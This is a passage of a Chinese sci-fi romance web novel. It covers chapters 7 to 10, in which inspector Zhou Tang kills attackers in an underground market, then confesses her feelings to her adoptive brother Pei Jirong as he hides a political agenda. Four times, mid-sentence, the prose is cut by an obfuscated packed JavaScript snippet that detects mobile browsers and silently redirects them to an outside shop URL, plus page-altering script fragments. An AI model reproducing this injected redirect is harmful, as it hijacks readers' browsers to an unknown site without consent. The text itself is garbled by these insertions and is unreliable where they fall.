《荒诞之年[gb]》 7. 07 计划出了点问题。 距离散场不到半小时,周棠终于如约和接头人碰面,借着交易一件古董珠宝的由头,取走了装有情报的存储器。与漫长的等待时间相比,最重要的这部分仅仅花费了半分钟,拿到东西之后,周棠就立刻折返准备离开。 意外就是这时发生的。 因为担心交易的过程遇到危险,周棠没有让裴寂容和她一起来,而是把人留在了相距不远的隔壁副厅里。那儿进行的基本都是军火交易,来往的全是沉默寡言的狠人,裴寂容披了一件带兜帽的斗篷,待在人群中很不显眼。 总算可以走了。 周棠低着头整理衣领,顺手将薄如纸片的存储器放进了前襟的暗袋里。 这是在几个副厅间穿行的走廊,本该有很多人来往,但那位身份不一般的接头人提前想办法清了场,故而这里暂时只有她一个人。 低跟鞋的鞋跟在地板上敲出沉闷的响声,如同木质的涟漪,寂寥,空寂,引起低沉的回声。 直到另一道脚步声应和般响起。 不疾不徐,十分悠闲。 周棠察觉到异常,慢慢停下动作,抬起眼来。 走廊另一边,一个身形格外高挑的女人正朝这边走来,看见周棠停下,并没有跟着放慢脚步,仍然一步步向她靠近。 “都说贵人多忘事。”女人说,“可是,监察官大人,您也不至于这么快就把我忘了吧?” 周棠笑了一下:“怎么确定的?” 女人也跟着她笑了起来,用指尖挑了一下脖颈上的抑制贴:“第一眼就认出来了,不过,真正确定还是刚才在休息室里——您想要朝我开枪的眼神,令人终生难忘。” 周棠的眼睛微微眯了一下。 她立刻想到,裴寂容的身份大概没有暴露,心中那点波澜刚一泛起,就迅速被这个念头抚平了。 女人朝她抬起右手:“我们来谈谈吧。” “怎么谈?”周棠笑了笑,饶有兴致地问,“需要我像你一样,变成老鼠钻进阴沟里吗?” 说完这句话,她慢条斯理地举起手,枪口对准了走廊的另一端,连开三枪。 砰、砰、砰。 激光弹破空前行,径直穿过了女人的身体,在墙面上炸成一束刺目的烟花。 周棠的眼睛被这道光线照亮,如薄薄的冰层。 下一秒,女人的身影忽然像出现了信号波动般闪烁起来,几息之后,就迅速地收拢消失了。 全息影像。 周棠将手收回,但没有放下枪,很快,走廊两旁出现了数个握着武器的人,每一个都神色凶狠,一步一步朝她逼近。 果然是老鼠的处事方式啊…… “真没用。” 周棠轻声说道。 …… 休息室里极其寂静。 裴寂容用手臂支着脸,垂眸看着面前的全息屏幕,漆黑的眼珠仿佛深深嵌在眼眶里的玻璃珠,一动不动,反射着冰冷的光。 耳麦里传来低沉的人声:“你的重构法案怎么一点动静都没有?” 裴寂容抬起指尖,在眉尾抵了一下;“这不是一蹴而就的事。” 如果周棠此刻在这里,恐怕就无法维持住镇定的表情了。 就连以情报收集为立身之本的监察部,也从来都不知道,轴心区的大法官,竟然和第四十七区的治安局局长有私交。 边缘区是绝对的灰色地带。 在这里,好人坏人的界限并不分明,更多人混迹在二者中间,治安局名义上说是归中心政府管辖,实际上就是个规模大点的武装团体。 当然也能在一定程度上介入这座地下交易市场。 因为这层关系,裴寂容才能放心让周棠独自去见接头人。 “交易完成了,正在往回走。”治安局局长莱顿看着下属传来的消息,语气懒散地转述着,问道,“这个Beta是监察部的人?监察官?” 裴寂容蹙了下眉:“注意用词。” “哈?我说什么了?你的脾气真是越来越坏了。”莱顿扯了扯唇,忽然像想到什么似的,说道,“怪不得呢。” 裴寂容的睫毛颤动了一下。 “我还以为你突然发疯了,结果原来是这样。”莱顿兴致盎然地靠近摄像头,手指一下下敲着桌面,“她能和你扯上关系,总不会是什么新人监察官吧?女Beta,二十出头……是你那个妹妹?” 裴寂容问:“你知道她?” “当然,我对她很有兴趣啊。”莱顿脸上的笑意扩大了,“你那是什么表情,别误会,我说的可是正事。” “下半年会有三个统括监察退任,分别是第六区到九区、二十一区到二十二区以及四十五区到五十一区,正好包括了我们。为了提前打好关系,我可是花了很大力气打探消息,才弄清楚可能接任的人选。” 莱顿指着屏幕说:“你妹妹就是其中之一,这件事你该不会不知道吧?” 裴寂容很希望自己不知道。 他更加希望莱顿突然失声,把接下来可能会说出的所有话咽回肚子里去,永远不再提起。 这当然是可能性为零的期待。 “你想要推进的那个重构法案,监察部受到的影响最大,会把他们的权力直接削掉八分之一,是吧?为了通过法案,必须要得到监察部的支持,除了那几个部长,就只有统括监察手里的票最重要了吧?” 莱顿仿佛一瞬间抛弃了所有察言观色的能力,无论裴寂容的脸色多不好看,他都自顾自地讲着,将所有当事人不想放在明面上讨论的事情,全部一一讲出来。 “你想用什么办法得到她的支持?总不会是打感情牌吧,拜托,也太老套了。” 莱顿一句句吐出惹人生厌的话:“我听说她已经离开裴家了,恐怕压根不会被亲情绑架,你还是拿点实在的东西出来吧——贿赂监察官?” 他刚说完,就因末尾那蠢得太可笑的五个字咧开了嘴。 裴寂容眸色愈发晦暗,脸上仿佛凝结着一层冰。 他沉声警告:“你最好少说两句。” “能否容我再多一句嘴?”莱顿举起双手做投降状,笑了两声,“你们这群轴心区的人还真可怕,表面上那么光明正大,其实还是谁都能拿来利用是不是?” “看来那个小监察官要伤心了。” 裴寂容的理智已经绷紧到临界值,表情前所未有的冰冷,黑沉沉的眼睛扫过屏幕,空气中凝出无形的冰砂。 莱顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14557844|155564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话其实根本没什么杀伤力。 他是个有点理想主义的人,说的话虽然不太中听又言辞尖锐,但这种道德审判无关痛痒,放在平常,裴寂容只会觉得这些话毫无营养,幼稚非常。 这不是个纯粹无暇的世界。 假如连利用一个人都要在心里审判自己无数遍,那是绝不可能在轴心区登上高位的。 但是,就是这样无关痛痒的话,却一句句戳到他心里,引起剧烈而无法言明的情绪,或者是痛苦,或者是其他。 从见到周棠开始就刻意藏在心底、尚未施行的诸多想法,被突兀的全部挖出,最先伤害到的居然是他自己。 裴寂容闭上眼睛,思考了许久,眼睫才重新动了起来,凝神看向屏幕对面的旧友。 他没能压住心里的情绪,问出一个放在平时只会觉得幼稚的问题:“你认为我不该这样做吗?” 也许他可以再做一次决定,假如被反对,就…… 莱顿却没有回答。 他的目光被闪动的通讯吸引,一时没能静心思考裴寂容的话,在看清通讯器上的内容时,更是直接变了脸色。 裴寂容骤然感到一股莫名的不安,不由自主地放下撑着脸的手臂,坐直了身体。 然后他听见莱顿说:“你的小监察官遇到麻烦了,哟,真吓人呐。” 裴寂容的脸色霍然变了。 他的脑海空白了一瞬,但下一秒就反应过来,不顾莱顿连续发出的惊叹般的语气词,直接切断视频,转到通讯频道出声问:“周棠?你在哪?” 似乎过了很久,频道里才响起熟悉的声音。 周棠的语气很平常:“四号副厅,现在要过来?最好……好,你来吧,哥哥,我把坐标发给你。” 频道又恢复了静音。 终端震动,一串数字出现在屏幕上。 裴寂容缓缓低下头,盯着那串数字看了好一会儿,才感到脑中的嗡鸣声渐渐消失。 他不再耽误,迅速地朝着那串坐标赶去。 …… 四号副厅的气氛就像周棠的态度一样平常,看不出与麻烦二字的任何联系。 周棠给出的坐标是副厅后侧的一个空房间。 或许是因为离场所的主要部分太远,进行的交易又属于不太重要的类别,这里并没有暗中巡逻的人。 裴寂容很快找到了位置,确认无人尾随后,他推开门走了进去。 然后一眼看见了周棠。 她站在房间中央,神情平淡的看不出来异样,尽管脚边倒着近十具鲜血淋漓的尸体,也只是像绕开石头一样绕开他们。 原本整洁的衣摆上沾染着污迹,头发变得有点散乱,碎发垂在肩上,再往下,是滴落着血液的手指。 耳麦里传来短促的询问和杂音,她一边应着,一边漫不经心地说:“只是一点小麻烦。” 裴寂容站在门口,有些恍神。 在他开口询问之前,周棠已经结束了对话,摘下同样沾着血迹的耳坠,转过头来,盯着他看。 她的眼睛锋锐而明亮,残留着尚未褪去的血色,又好像有着淡淡的醉意,引人注目,夺人心魄。 “没有吓到您吧?” 周棠冲他笑了笑。 8. 08 周棠的难搞是出了名的。 每位监察官都是优中选优的精英,除了正副部长和十六位统括监察之外,部内没有更多职级上的划分,至多是对刚入部的新人更加关注一点。 唯一的区别在于工作内容。 在整个监察部里,周棠是为数不多的、专门处理重大职务犯罪案件的监察官之一。 比起另一些负责日常监督、宣传教育、年度审查等事务的同僚,她接手的工作都需要和各类重案犯打交道,其中不乏穷凶极恶之徒,免不了要动用武力。 但在大多数时候,将周棠和任务对象相比,很难说谁的风格更像心狠手辣的罪犯。 她刚进监察部时才十九岁,手段就已经狠过许多年长的同僚,从不徇私,做事做绝,这些年来尽管稍有收敛,但程度有限,得到的一致评价仍是“性情乖张”。 被人寻仇是太正常的事了。 周棠没为此担心过,反正无论是谁来她都能解决,除了偶尔杀红眼,让后勤工作变得有点麻烦之外,其他没什么要紧的。 她能在二十三岁就被纳入统括监察的预选名单,完全是因为个人能力。 ——裴寂容并不了解这些。 监察部与最高法院往来频繁,但在一半巧合,一半刻意回避的情况下,他和周棠从来没有合作过,工作时间里几乎不怎么碰面。 他也从旁人口中听说过一些传言,知道许多人都说周棠冷酷无情、心狠手辣,但始终没有真正把这些描述和她联系在一起。 在裴寂容的印象里,周棠始终是…… 活泼,青涩,年轻气盛,情绪都明明白白的表露在脸上。 直到时隔数月的再会。 直到此刻。 从这次重逢开始,周棠的表现一个个背离这些旧有的印象,自然而迅速,让人来不及反应,仿佛他的记忆才是刻意为之的矫饰。 究竟什么才是真实? 裴寂容的视线晃动了一下,沉默了数秒,忽然抬手按住了自己的胸腔,周棠眼中那抹若隐若无的兴奋感仿佛隔空袭来,他的心跳因此而剧烈到无法控制,藏匿心中的疑惑不再有立足之地。 “没有。”他放轻声音,以此掩盖不自觉的颤抖,“这样做没关系吗?” 周棠笑了笑:“不要紧。” 她摘下手套,用激光枪将它们烧掉,拍了拍手掌,残留的灰烬便飘落在地面上,和血泊融为一体:“警务部会想办法处理的。” 情况发展到这种程度,那群满口规章责任条例的人终于意识到事情的严重性,紧急抽调一部分人过来支援,防止事态扩大。 虽然周棠解决的差不多了,但有人善后总是好的。 裴寂容垂眸将面前的景象扫视了一遍。 遍地是混战后的痕迹,血液,尸体,暗暖色调的灯光,足以当做一部惊悚片的布景。 而刚杀完人的那位罪魁祸首,正迈步朝他走过来,脚步轻盈,神色明亮,眼睛里有一丝令人恐惧的笑意。 裴寂容感到心跳加速。 他抬起手来,指尖绕到后颈,发觉那块皮肤竟然在异常的发热。 不知来由的陌生情绪漫过理智,他凝视着周棠,面对这个相处过七年的年轻姑娘。第一次招架不住似的后退了一步,理智不断说着尽快冷静,目光却不受控制地凝在她脸上。 周棠终于在他面前停了下来,随手打理着散乱的头发和衣领,说道:“抱歉,很久没遇到这么刺激的环节,我好像有点太兴奋了。我们该走了,哦,稍等……太好了,我的鞋子上没有沾血,直接走吧。” 不用说也能看出来,她确实太兴奋了。 裴寂容知道有些人会在生死攸关时格外激动,但今天才知道周棠也是其中之一。 “好。”他一边说着,一边硬生生地移开视线,将目光落在除她之外的其他位置,因为注意力都用在这件事上面,说话时就显得有些心不在焉,“之后……” 周棠错将他的走神当成了害怕。 如果她现在是绝对冷静的状态,就能分清这两种情绪之间的区别,但一个杀红了眼、高度亢奋的人,对战局之外的事情都没办法那么用心。 裴寂容还未说出后半句话,一只手就蓦然伸过来遮住了他的眼睛,另一只手很快也揽住他的腰,微微用力,半抱着带他往外走。 “盯着看不觉得恶心吗?”周棠在他耳边说着,声音里若隐若现的笑意因为距离的拉近而变得格外明显,“我会把你安全带出去的,哥哥,别害怕。” 裴寂容顺着她的动作闭上眼睛,细密的睫毛颤动着,从手心扫过。 这样的相处状态让他极不习惯,甚至陡然生出一种身份调换的错乱感,但更加浓烈而诡异的满足感突兀的出现,促使他选择顺从。 他慢慢握住了周棠的手腕。 “接下来准备去哪里?” 周棠唔了一声,说:“我有点累了,找个和平点的地方吧,下一个任务好像……” 她确实因为打斗而有点兴奋,但毕竟也不是什么变态杀人狂,像今天这样的事情,能避免当然还是避免更好。 而且,正好有一个绝对安全的地方可以去。 下一个任务? 裴寂容的注意力随着她的话流动,不知不觉地思考起来,但在想清楚之前,一股极其剧烈的不安忽然浮现出来,让他顷刻落入冰天雪地,大脑一片空白。 紧接着,那个尚未成形的猜想得到了肯定。 周棠道:“去治安局。” “部里要求审查执勤记录,除此之外,我还需要和现任局长见一面,有些事情要谈。”她想了想,有点儿不确定地说,“莱顿局长?” “我不认识他,不过,应该就是叫这个名字吧,总觉得有点熟悉。” 裴寂容骤然攥紧了她的手腕。 …… 治安局距离地下交易市场有些距离。 第四十七区虽然混乱到没有什么法律可言,但这个唯一被官方承认的管理机构还是有点威慑力,当地居民即使不认联邦政府,面对治安局时也会怵一下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14557845|155564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 警务部的效率低到令人发指,在他们的人赶到之前,追杀的人先一步跟上了周棠,来势汹汹,简直就像没吃过瘪那样凶猛。 因为离开了地下交易市场,他们动手时还要更加肆无忌惮。 周棠跟这伙人玩了一路的追逃游戏,直到进入治安局的直接管辖区,这场过分激烈的闹剧才终于结束。 车厢终于恢复了寂静。 脱身之后,周棠做的第一件事是说清情况。 “刚才没来得及向您解释。”她握着方向盘,眼睛注视着前方的道路,“这些人是去年那个S级案件的逃犯,您还记得吗?大额贪腐和走私药品,最后在二十二区引起了连环爆炸,受伤人数超过两千。” 裴寂容将失焦的目光落在窗外,吐词缓慢:“红水晶案。” “对,审理结束后,警务部在押送的路上遭到袭击,犯人逃了。”周棠说,“这件事的调查由我负责,我猜到她会报复我,但没想到会这么巧在这里遇上,让您受惊了。” 裴寂容微微点了点头。 他知道周棠参与了这个案子,但从来没听她提起过详细的情况,一直以来,不管遇到什么麻烦,她都从不提起,无论是对长辈还是对他。 不该是这样。 如果说周棠真的对他怀有感情,为什么从来不对他讲这些事情?是觉得他不会关心她,还是说……不期待他的关心? 不期待,不需要? 这时,周棠突然说:“就快到了。” 突然响起的声音将思路完全打断,裴寂容的脑海空白了一下,仿佛被强光扫过一般,他随即抬手用力地按住眉心,脸上浮现出一丝难以控制的痛苦神色。 “还有十分钟。”周棠毫无察觉,继续说了下去,“就快到治安局了。” 治安局。 莱顿。 重构法案。 …… 数不清的词语涌现出来,不给人喘息的机会。 裴寂容承受不住这种剧烈的紧张,波动的情绪紧紧捏住了他的心脏,血管被截断,呼吸变得困难,脑海中一瞬间闪过了无数种解决办法,但没有一个可行。 要找到机会和莱顿联系。 必须要警告他,预先说定……哪怕莱顿不讲那些废话,只要他提起重构法案,只要周棠听见了重构法案这个词,她就会立刻想明白一切的。 到那时,他的所有举动都会显得别有所图。 在极度混乱的思绪当中,裴寂容蓦然闭上了眼睛。 他感觉自己正深处暴风雨下的海面上,像一艘身不由己的船只,在海浪里濒临崩溃,即将崩解,必须立刻找到一个恒定而稳固的船锚。 否则他会发疯的。 “周棠。” 裴寂容缓了几秒,慢慢睁开眼睛,在强大的自控力与过往习惯的支撑下,他维持住了一副平静冷淡的表情,除了晦暗如黑云的眼珠,看不出任何异常。 声音也镇定至极。 “那天晚上你来找我,是想要说什么?” 9. 09 无止的寂静在车内漫延。 此时已经是深夜十一点,交易市场的明亮灯光早已被远远甩在身后,天幕一片漆黑,微弱的星光闪烁着,不细看难以察觉。 身边的一切,仿佛跟着天空一起陷入永夜,寂静如死。 过了许久,周棠才轻轻叹了口气,有点无奈似的笑了一声:“您怎么突然问起这件事。” 这不是期待的反应。 裴寂容无意识地攥紧了手指,将掌心掐出深深的印痕,如影随形的窒息感又缠了上来,呼吸仿佛变成了一件极困难的事情,审判随着声音渐渐下落。 “我说过到了四十七区要向您解释的,差点忘记了。”周棠思索着,“让我想想从哪里说起。” 她回忆着当时的情景,同时吃惊的发现,自己远比想象中冷静得多。 始终没有重新提起这件事,一方面是因为忙于工作,时机不太合适,另一方面也是担心控制不住情绪,反而惹出什么麻烦来。 这么合理的想法,实际施行时,居然会变成没必要的担忧。 周棠有点茫然的按住自己的胸口。 心跳的速度的确略有加快,但更多是因为刚才的追逐战,和接下来要说的话没有太大的关系。 她好像……并不紧张? 不是错觉。 可能是因为刚才发生的意外消耗了太多精力,紧张、兴奋、急切……所有的情绪都已经使用殆尽,再面对裴寂容那张平静如水的面容时,就提不起更多的精神了。 他总是那么冷静。 冷静,镇定,最终给人的感觉就是冷漠。 周棠感受了一会儿自己的心跳,将手放了下来。出于礼貌,她暂时给车辆设置了自动驾驶,转过脸来面对着裴寂容,花了点时间斟酌用词后,终于慎重的开了口。 “那天晚上,我……” 斟酌后的决定是开门见山。 “我是去找您表白的。”周棠说,“那天晚上,我其实是想说我喜欢您。” 裴寂容的手指猛然一颤,攥住衣角。 讲完之后,周棠觉得用词还不够精确,补充道:“我小时候大概也说过类似的话,喜欢您什么的,嗯,十几岁的时候。但那天晚上不一样,是正式的告白,我真的不是小孩子了。” 竟然还有闲心解释。 周棠又忍不住按了下自己的胸口,发觉心跳仍然均匀平缓,用解数学题来形容可能都已经不太合适。 写不出题的时候可比现在激动多了。 她皱眉想了想,有点不明白自己怎么会平静成这样。 情绪耗尽,还是说……失望过多?但这几天根本没发生什么糟糕的事情,甚至在诸多事情上,裴寂容的表现都超出了她的预想,几乎有点令人惊喜了。 再者,正常来说,刚经历过一场刺激的战斗就跟喜欢了多年的人当面表白,难道不应该更加激动吗? 周棠思考了一下,仍然没能弄清自己的想法,于是将它暂时抛在了脑后。这没什么要紧,在这种情况下,冷静总要比慌乱更好。 不论如何,说完那些话之后,她总算开始感觉有些尴尬,忍不住将视线错开了几秒,再转眸时,就看见裴寂容正微微皱着眉,无光的黑眼珠格外晦暗,薄唇也紧紧抿着。 绝不是要接受的样子。 周棠生出一点淡淡的失落,但更多的是“果然如此”的平静,她扯了下唇角,慢慢呼出一口气,决定主动结束这段没什么意义,只会使人为难的谈话。 “您不用思考怎样回答我,没关系的。”她说,“这只是我原先的想法,至于现在,这已经不重要了。” 话音刚落,裴寂容骤然抬眸看了过来。 听见那些表白的话语时,他看起来明明显得很平静,但这一刻,却好像掩盖在面孔上的冰层突然破裂了,竟然露出了一点从未有过的神情。 难以置信,错愕,茫然……似乎还有一点痛苦。 周棠呼吸一滞。 就像刚才怎么也找不出原因那样,在这一瞬间,她突然找回了莫名其妙丢掉的情绪,激动与紧张突兀的在脑海中出现,瞳孔微微扩大了一点,心跳跟着加速。 但只持续了短短一瞬。 裴寂容只抬了一下眼就收回,没有给人确认表情的机会,光线太暗,周棠看不清太细微的神色,但等到裴寂容再看过来时,那些情绪就已经全部消散了,像尚未落地就融化的雪。 漆黑的眼珠,比雪夜还要更加沉寂。 动摇只是幻觉。 “为什么……”裴寂容的声音有些干涩,说出这三个字后,指节抵着唇闷咳一声,慢慢将这句话说完,“为什么现在觉得不重要了?” 他的语气平常,像在探讨一个牵涉不到利害的小问题,让人觉得回答一下也没什么大不了的。 周棠狐疑地看了他一会儿。 直到确定那些一闪而过的情绪真的完全消失,大概率只是纯粹的错觉之后,她偏头望向远方的星夜,忽略掉心中渐渐冷却的波动,开始思考刚才听见的问题。 ……但这不奇怪吗? 表白失败,决定放弃之后,开始和暗恋对象讨论为什么要放弃? 太诡异了。 无论怎么想,这种情况也太诡异了吧? 周棠尝试了好几次都没能说出话来,忍了又忍,转头想找裴寂容提议,要他忽略掉这个问题时,却发现那双眼睛竟仍然牢牢锁在她身上,没有移开。 他的姿态和神情都有点像在听一场学术讲座。 专注,认真,严肃,仿佛正在面对的是世界上最大的难题,一定要得到一个明确的结果不可。 周棠被这双眼睛注视着,一时间说不出来拒绝的话,只好继续思考如何回答。 可这到底算是什么重要的问题? 难道说,每个法官都有这样的习惯吗,只要有不明白的细节,不论它如何微小,就必须刨根问底到全部弄清楚才行? 周棠悄悄瞥了眼智能车载系统的行程规划,看见距离治安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14557846|155564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 局还有六分钟的提示时,咬了咬牙,终于放弃寻找一个圆滑合理的借口,决定尽快把这件事说清楚。 至少要在抵达治安局之前解决掉。 否则就太耽误正事了。 “抱歉,我说不清楚,其实我也不知道具体原因。”周棠忽视掉令人崩溃的淡淡尴尬感,一点点描述自己最真实的内心想法,“总之……我现在看见您的时候,没有原先那种心动的感觉了,紧张、激动、心慌之类的情绪,没有那种感觉了。” 她难得有点结巴:“就是,嗯,不知道您能不能理解这种状态?” 裴寂容沉默不语。 片刻后,他定定地看了她一眼,眸子的颜色变得比黑夜还要更加暗沉,仿佛被卷入了一场死而复生的暴风雪,刺骨的寒意淹没神经,向外延伸。 他轻轻地点了点头:“我知道了。” 周棠松了口气。 她觉得自己给出的解释已经足够诚恳,而且诚实,既没有找借口也没有缺头少尾,已经把最真实的想法都说出来了,这样总不会再有什么问题了吧。 谈话结束。 两人一时都沉默下来。 为了缓解尴尬,周棠扭头朝窗外看去,仰望着天上碎乱的星星,默数着它们的数量,但只坚持了两秒,她就心烦意乱地将头转了回来。 很奇怪。 这件事已经说的不能更清楚,计划之内的告白,计划之外的解释,无论哪种都已经没有继续陈述的余地了,但她就是无端有一种事情未了的烦躁,无法冷静。 在她身边,裴寂容似乎得到了满意的回答,彻底的安静了下来,连呼吸声变得轻不可察,只在极偶尔的时候,能听见衣料摩擦的细微声响,像在扯动或是整理衣领。 他倒是一如既往地平静,没有感到困扰。 “我想了想,可能我还是没有说清楚,我的意思不是您有什么问题。” 周棠盯着他,虽然没被追根溯源地再次询问,依然主动解释道:“我觉得,这应该是我自己的问题……可能我的情绪还不成熟,就像您说的,虽然我已经二十三岁了,但是,我在情感方面,可能还有一点……” 她磕磕绊绊地说了一会儿,却越描越乱,更加心烦,到最后终于有点口不择言了,说道:“我觉得我应该还是喜欢您的。” 听见这句话,裴寂容没什么反应,只是揉捏衣摆的手指停了下来,细密的睫羽随着眨眼忽上忽下,如将落未落的雨。 周棠仍在继续。 “只不过,不知道是什么原因,我总觉得提不起精神来,可能是今天遇到太多事情了吧。”她思索着,猜测着说道,“也许应该休息一下,等到明天我再……不,明天再说吧。” 裴寂容轻轻吸了一口气,手指攥紧又松开,像是做出了一个很重要的决定一样,慢慢抬起眼来,唇微微张开。 与此同时,周棠啊了一声,说道:“不过,这都要等到和莱顿局长见过面再谈。” “我有重要的事和他商量。” 10. 10 按照周棠的构想,他们应该先一同回到治安局,休息一晚上,冷静一下,其他的事情都等到第二天再说。 她必须要先和莱顿见一面。 虽然情感上来说,和裴寂容的沟通会更令人在意一点,或者说有着压倒性的优势,但周棠毕竟是个合格的监察官,在任何时候,理智的优先级都要高于情感。 下个月,原先的几位统括监察会提前退任,继任者至晚也要在月中确定,尽快进行工作交接。 就目前的情况来看,部里显然更希望周棠能接任四十五区到五十一区的职务。 这几个行政区虽然人口数量比中心区少了不知道多少,但藏污纳垢的能力扩展了无数倍,政府既然决心整顿,当然得派一个镇得住场面的人来。 没人比周棠更合适。 但她本人不想来。 知道这个消息的时候,周棠刚经历完第一次表白失败,正是最失落的时候,在部长探听口风时,差点就把接任的事答应了下来。 但她左思右想,还是觉得这几个区域实在太远了。 表白失败,不代表她想要彻底远离裴寂容,再也见不到他,甚至和他成为陌生人。 周棠立刻开始寻找拒绝的办法。 治安局局长莱顿是她在多方调查后,找到的最合适的那个解。 联邦政府注重民主,在任命统括监察以前,需要在辖区内进行投票表决,如果反对的声音过大,就需要另择人选。 周棠特意接了一个审查治安局既往工作记录的任务,打算借此机会和莱顿谈谈,让他在表决时投出反对票。等解决了这个问题,再来和裴寂容探讨一下有关“喜欢”的事情。 ——这是周棠最初的想法。 但计划永远追不上变化。 在抵达治安局时,她只来得及与莱顿局长打了个招呼,还没有说明来意,意外就突然发生了。 裴寂容突然进入了发热期。 受此影响,面容调整手术那点微小的副作用也在加深,他真的如字面意思开始发烧,伤口疼到连止痛药都不太起作用。 “只能这样,我们也没有办法。”治安局的医生焦头烂额的说,“我们的药物储备并不充足,强效的止痛药已经用完了,临时调用要等到明天。在此之前,只能先忍耐了,放心,这不会危及生命。” 周棠每听一句话就感觉烦躁加深,只能尽力让自己冷静下来。 “他的发热期呢?情况严重吗?” 她对这件事实在毫不了解,虽然生理课上老师仔细的讲过,但身为感受不到信息素的Beta,即使把书上的内容看一千遍,也根本没办法感同身受。 医生擦着额头的汗,举着检查单说道:“有点麻烦,发热期本身是其次,主要还是发烧,可能会引起剧烈的头疼或者其他问题,需要观察一整夜,十个小时后如果情况稳定,就不用担心了。” 周棠拧着眉,扫一眼亮着红灯的观察室,感觉理智也一点点标红:“他的发热期为什么会现在来?” “劳累,手术创伤,以及情绪波动。”医生看了看她,说道,“Omega的身体是很脆弱的,太剧烈的情绪波动会让信息素异常分泌,生理功能紊乱,最终的后果就是现在这样。” 周棠重复:“情绪波动?” “这是最主要的原因。”医生建议道,“信息素紊乱的影响速度很快,你可以回忆一下近一个小时内发生的事情,原因肯定就在这个区间内。” 周棠的脑海中,立刻浮现那时在地下交易市场的画面。 果然还是受到惊吓了吗? 她应该想到的,裴寂容再是见多识广的大法官,经手的事情也都是文书卷宗,再多也就是影像资料,这种直面杀人现场的情况,对他来说恐怕还是太勉强了。 那时还是应该自己处理的。 “……我知道了。”周棠深吸一口气,掩去眸中的懊悔之色,问道,“接下来只需要观察吗?” 医生摇了摇头,说:“还需要你来帮忙。” 周棠顿了下,指指自己:“我?” “是的。”医生非常抱歉地说,“我们这里实在没有空闲的Beta护士了,需要您亲自来照顾病人。” …… 观察室里只亮着一盏小灯,明黄色,亮度低而柔和,直视也不会令人不适。 周棠静悄悄的走进去。 和用防护设备裹得严严实实的医护人员相比,她的打扮很随意,连口罩都没带,只戴了双医用手套就进来了。 裴寂容闭着眼睛,侧躺在病床上。 他的脸色比动完手术时还要苍白一些,但两颊上却有不自然的红晕,额头上也有细碎的汗珠,眉头紧锁,下唇在忍痛时被咬得有点充血,微微肿了起来。 脆弱至极,濒临破碎。 但美貌惊人。 像刚被折下、新鲜带露的花枝,柔嫩的花苞间次缀在枝上,被雨打过,花瓣向外散开,显得颤巍巍的,泛着湿软的红色。 ——周棠开始怀疑她是否真的应该出现在这里。 真的合适吗? 她迟疑了好一会儿,缓缓伸出手探向裴寂容的额头,想把那些散落的头发整理一下,免得湿漉漉地搭在眼睛上不舒服。 手指试探着慢慢往前,逐渐靠近,但甚至还没有接触到皮肤,发烫的体温就顺着空气流入指尖,一下钻入神经末梢,引起烧伤般的疼痛。 周棠的眉头猛然一跳,收回了手指。 她按了下胸口,感觉心脏一阵阵收缩得近乎发疼,跳动的速度也越来越快,和之前在车上表白的时候简直是两个极端。 这个时候再说不心动,就是纯粹的谎言。 周棠前所未有的意识到,她对裴寂容的爱实则是一场无法挽回的烧伤。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14557847|155564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她曾经以为这伤口很快就会愈合,或者其实已经愈合如初,但那根本只是装模作样的表象,它的寿命远比预想中要长,长生不死,有时孱弱到无法察觉,有时则骤然发作,引起剧烈的灼痛。 想要它愈合,要么她彻底遗忘它的存在,要么硬生生把这块肉全部剜掉重新生长。 周棠盯着病床上的人,慢慢退后了一步。 她喜欢他的时候,说出那些告白的话语的时候,唯一的倚仗就是年轻,她足够年轻,以为再剧烈的心动也终究会被时间耗尽。 但是直到此刻,周棠才隐约明白,人在年轻时踏入火焰,照样会被烧得万劫不复。 不要抱有期望。 周棠对自己如此说着。 直到裴寂容睁开眼睛看她。 他的脸色全然是病中的模样,往日漆黑明亮的眼珠蒙上了一层薄薄的水雾,像表层被磨到粗糙的玻璃球,细密柔软的睫毛被溢出的水雾打湿,沾在一起,形状反而显得更加柔和了。 看见周棠时,这双眼睛微微凝了一下,再往下,正因痛苦而紧紧抓着床单的手指也用力地收紧了。 